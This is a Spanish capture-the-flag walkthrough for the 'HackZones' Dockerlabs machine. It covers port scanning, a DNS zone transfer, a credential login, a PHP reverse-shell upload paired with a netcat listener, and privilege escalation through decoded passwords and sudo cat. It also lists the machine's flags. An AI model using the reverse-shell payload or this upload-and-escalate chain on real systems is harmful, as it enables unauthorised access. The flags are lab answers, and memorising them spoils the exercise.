# CTF Hackzones Intermediate

URL Download CTF = <https://drive.google.com/file/d/1v4vbcRabLahhepUYP2mM-WONLskKPjQr/view?usp=sharing>

### Instalación

Cuando obtenemos el `.zip` nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.

```shell
unzip hackzones.zip
```

Nos lo descomprimira y despues montamos la maquina de la siguiente forma.

```shell
bash auto_run.sh hackzones.tar
```

Info:

```
██████╗ ██╗    ██╗███╗   ██╗██████╗ ██████╗ ██╗
██╔══██╗██║    ██║████╗  ██║╚════██╗██╔══██╗██║
██████╔╝██║ █╗ ██║██╔██╗ ██║ █████╔╝██║  ██║██║
██╔═══╝ ██║███╗██║██║╚██╗██║ ╚═══██╗██║  ██║╚═╝
██║     ╚███╔███╔╝██║ ╚████║██████╔╝██████╔╝██╗
╚═╝      ╚══╝╚══╝ ╚═╝  ╚═══╝╚═════╝ ╚═════╝ ╚═╝

          ==                           
         @+:@ @##@                     
          @++:-----+@ @@#+:----:+#     
           #-+-----:+:---------:       
            *::-----++-----::::#       
             ::------+:--------:       
             #-+------+:-::-----#@     
              *::+=@@#++-------::@     
              @+=     @++::+#@@@#*#    
               #-@                     
                *+#++@                 
               +-:::+-@                
               :-:+:::+                
              @+::*::::                
             *::++-::*                 
          =:--:-:++ @-#                
      #*:---:--++@   @@                
      @::-:--++*                       
       @::-:++#                        
         *++*                          

 :: Plataforma de máquinas vulnerables ::
 :: Desarrollado por Pwn3d! y Dockerlabs - creado por @d1se0 ::

 █▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█
 █           FLAG{Pwn3d!_is_awesome!}            █
 █▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄█


[✔] bc ya está instalado.

[✔] Docker ya está instalado
[!] Limpiando previos contenedores e imágenes
[✔] Cargando la máquina virtual      
[✔] Activando máquina virtual      

[✔] Máquina activa. Dirección IP: 172.17.0.2
[!] Presiona Ctrl+C para limpiar y salir
```

Por lo que cuando terminemos de hackearla, le damos a `Ctrl+C` y nos eliminara la maquina para que no se queden archivos basura.

### Escaneo de puertos

```shell
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
```

```shell
nmap -sCV -p<PORTS> <IP>
```

Info:

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-15 05:35 EST
Nmap scan report for 172.18.0.2
Host is up (0.000041s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 8e:a2:56:38:e1:85:2f:21:2b:55:ec:29:5b:f8:63:d9 (ECDSA)
|_  256 0f:4b:38:fa:04:33:c7:01:5a:98:12:05:2d:42:cf:1a (ED25519)
53/tcp open  domain  ISC BIND 9.18.28-0ubuntu0.24.04.1 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.18.28-0ubuntu0.24.04.1-Ubuntu
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: HackZones.hl - Seguridad para tu Empresa
MAC Address: 02:42:AC:12:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.50 seconds
```

Si probamos a ver la pagina web que tiene abierta, veremos que a simple vista no vemos nada interesante, pero si inspeccionamos el codigo, veremos la siguiente parte:

```html
<a href="#" style="position: absolute; left: -9999px;">
    <img src="data:image/png;TlM6IGhhY2t6b25lLmhs" alt="HackZone">
</a>
```

Es bastante interesante la cadena `TlM6IGhhY2t6b25lLmhs` parece un `Base64`, por lo que si lo decodificamos, veremos lo siguiente:

```
NS: hackzone.hl
```

Parece ser como que nos da un `Name Server` de algun dominio llamado `hackzone.hl`, pero si lo probamos a poner en el `hosts` y buscarlo por ese dominio, no va a funcionar, ya que si nos bajamos un poco mas en el `footer` de la pagina, veremos otro dominio llamado `hackzones.hl` que ese si nos llevara a un login de lo que parece unos servidores `DNS`:

## Dominio puerto 80

Por lo que meteremos ese ultimo dominio en el archivo `hosts`:

```shell
nano /etc/hosts

#Dentro del nano
<IP>         hackzones.hl
```

Lo guardamos y ahora lo buscaremos en el navegador web.

```
URL = http://hackzones.hl/
```

Como dije antes parece ser un login de unos servidores `DNS` y sabiendo que el puerto `53` esta abierto, vamos a probar a extraer la informacion del archivo de `zona` de los servidores `DNS` (`ZoneTransfer`) por lo que probaremos con el dominio que no nos funciono llamado `hackzone.hl`.

## Transferencia de zona del archivo DNS

Pondremos el siguiente comando:

```shell
dig @<IP> hackzone.hl AXFR
```

Info:

```
; <<>> DiG 9.20.2-1-Debian <<>> @172.19.0.2 hackzone.hl AXFR
; (1 server found)
;; global options: +cmd
hackzone.hl.		604800	IN	SOA	ns.hackzone.hl. root.hackzone.hl. 2 604800 86400 2419200 604800
hackzone.hl.		604800	IN	NS	ns.hackzone.hl.
flag.hackzone.hl.	604800	IN	TXT	"FLAG{05964683-55675-23423-985046}"
ns.hackzone.hl.		604800	IN	A	127.0.0.1
User.hackzone.hl.	604800	IN	TXT	"mrRobot@hackzone.hl"
www.hackzone.hl.	604800	IN	A	127.0.0.1
hackzone.hl.		604800	IN	SOA	ns.hackzone.hl. root.hackzone.hl. 2 604800 86400 2419200 604800
;; Query time: 0 msec
;; SERVER: 172.19.0.2#53(172.19.0.2) (TCP)
;; WHEN: Fri Nov 15 05:48:28 EST 2024
;; XFR size: 7 records (messages 1, bytes 286)
```

Por lo que vemos hay como una cuenta de correo llamada `mrRobot@hackzone.hl` pero en el login nos pide un usuario, por lo que vamos a meter como usuario `mrRobot` y como contraseña, nos servira el propio dominio que tiene asociado en el correo llamado `hackzone.hl`.

```
User = mrRobot
Pass = hackzone.hl
```

Esto nos llevara a un panel de administrador, en el que si vemos el perfil del administrador no tiene imagen y encima podemos subir un archivo, por lo que probaremos a subir un `.php` con una `reverse shell`:

## Escalate user www-data

```php
<?php
$sock=fsockopen("<IP>",<PORT>);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
?>
```

Ahora teniendo el archivo, le daremos a `Browser`, seleccionamos el archivo `.php` que creamos, y le daremos a `Subir Archivo`, si todo a salido bien nos pondra un pensaje en una pagina lo siguiente:

```
El archivo shell.php se ha subido correctamente. 
```

Ahora si nos vamos por intuicion a la tipica carpeta llamada `uploads/` podremos ver que si existe, igualmente se puede hacer con `Gobuster`.

Nos pondremos antes a la escucha:

```shell
nc -lvnp <PORT>
```

Y ahora ejecutaremos el archivo `.php`:

```
URL = http://hackzones.hl/uploads/shell.php
```

Y si volvemos a donde teniamos la escucha veremos algo tal que asi:

```
listening on [any] 7777 ...
connect to [192.168.5.147] from (UNKNOWN) [172.19.0.2] 39948
whoami
www-data
```

Por lo que ya seremos el usuario `www-data`.

## Escalate user mrrobot

Si nos vamos a la siguiente direccion, veremos una carpeta bastante rara.

```shell
cd /var/www/html/
```

Veremos una carpeta llamada `supermegaultrasecretfolder`, si entramos dentro de ella, veremos un archivo llamado `secret.sh`, pero si lo intentamos ejecutar, nos pone que solo se puede como `root`:

```
Este script debe ser ejecutado como root.
```

Pero si nos dejara leerlo:

```
#!/bin/bash

if [ "$(id -u)" -ne 0 ]; then
  echo "Este script debe ser ejecutado como root."
  exit 1
fi

p1=$(echo -e "\x50\x61\x73\x73\x77\x6f\x72\x64") 
p2="\x40"                                       
p3="\x24\x24"                                  
p4="\x21\x31\x32\x33"                           

echo -e "${p1}${p2}${p3}${p4}"
```

Vemos lo que parece una frase codificada, si lo decodificamos se veria algo tal que asi:

```
Password@$$!123
```

Por lo que parece una contraseña, probaremos a meterla para el usuario `mrrobot`.

```shell
su mrrobot
```

Y vemos que ya somos dicho usuario, por lo que leeremos la flag.

> user.txt

```
c187e24646744125f041582154a534bb
```

## Escalate Privileges

Si hacemos `sudo -l` veremos lo siguiente:

```
Matching Defaults entries for mrrobot on 3e83d48104c8:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User mrrobot may run the following commands on 3e83d48104c8:
    (ALL : ALL) NOPASSWD: /usr/bin/cat
```

Por lo que vemos podemos ejecutar el binario `cat` como `root`, si nos vamos a la siguiente directorio:

```shell
cd /opt
```

Veremos un archivo llamado `SistemUpdate` el cual tiene los siguientes permisos:

```
-rw------- 1 root root 1827 Nov 15 11:28 SistemUpdate
```

Por lo que utilizaremos `cat` como `root` para poder leerlo:

```shell
sudo cat SistemUpdate
```

Info:

```
Reading package lists... Done
Building dependency tree       
Reading state information... Done
Calculating upgrade... Done
The following packages will be upgraded:
  libc-bin libc-dev-bin libc6 libc6-dev libc6-i386
5 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 8,238 kB of archives.
After this operation, 1,024 B of additional disk space will be used.
Do you want to continue? [Y/n] y
Get:1 http://archive.ubuntu.com/ubuntu focal-updates/main amd64 libc6 amd64 2.31-0ubuntu9.9 [2,737 kB]
Get:2 http://archive.ubuntu.com/ubuntu focal-updates/main amd64 libc-bin amd64 2.31-0ubuntu9.9 [635 kB]
Get:3 http://archive.ubuntu.com/ubuntu focal-updates/main amd64 libc6-dev amd64 2.31-0ubuntu9.9 [2,622 kB]
Get:4 http://archive.ubuntu.com/ubuntu focal-updates/main amd64 libc-dev-bin amd64 2.31-0ubuntu9.9 [189 kB]
Fetched 8,238 kB in 2s (4,119 kB/s)
Extracting user root:rooteable from packages: 50% 
Extracting templates from packages: 100%
Preconfiguring packages ...
(Reading database ... 275198 files and directories currently installed.)
Preparing to unpack .../libc6_2.31-0ubuntu9.9_amd64.deb ...
Unpacking libc6:amd64 (2.31-0ubuntu9.9) over (2.31-0ubuntu9.8) ...
Preparing to unpack .../libc-bin_2.31-0ubuntu9.9_amd64.deb ...
Unpacking libc-bin (2.31-0ubuntu9.9) over (2.31-0ubuntu9.8) ...
Preparing to unpack .../libc6-dev_2.31-0ubuntu9.9_amd64.deb ...
Unpacking libc6-dev:amd64 (2.31-0ubuntu9.9) over (2.31-0ubuntu9.8) ...
Preparing to unpack .../libc-dev-bin_2.31-0ubuntu9.9_amd64.deb ...
Unpacking libc-dev-bin (2.31-0ubuntu9.9) over (2.31-0ubuntu9.8) ...
Setting up libc6:amd64 (2.31-0ubuntu9.9) ...
Setting up libc-bin (2.31-0ubuntu9.9) ...
Setting up libc-dev-bin (2.31-0ubuntu9.9) ...
Setting up libc6-dev:amd64 (2.31-0ubuntu9.9) ...
Processing triggers for libc-bin (2.31-0ubuntu9.9) ...
```

Veremos todo esto, pero si nos centramos en la siguiente linea:

```
Extracting user root:rooteable from packages: 50%
```

Vemos lo que parece la contraseña de `root`, por lo que probaremos a usarla con `root`:

```shell
su root
```

Ponemos `rooteable` y como veremos ya seremos `root`, por lo que leeremos la flag.

```shell
cd ~
```

> TrueRoot.txt

```
f034967ad357f8f912740101d3af5e71
```
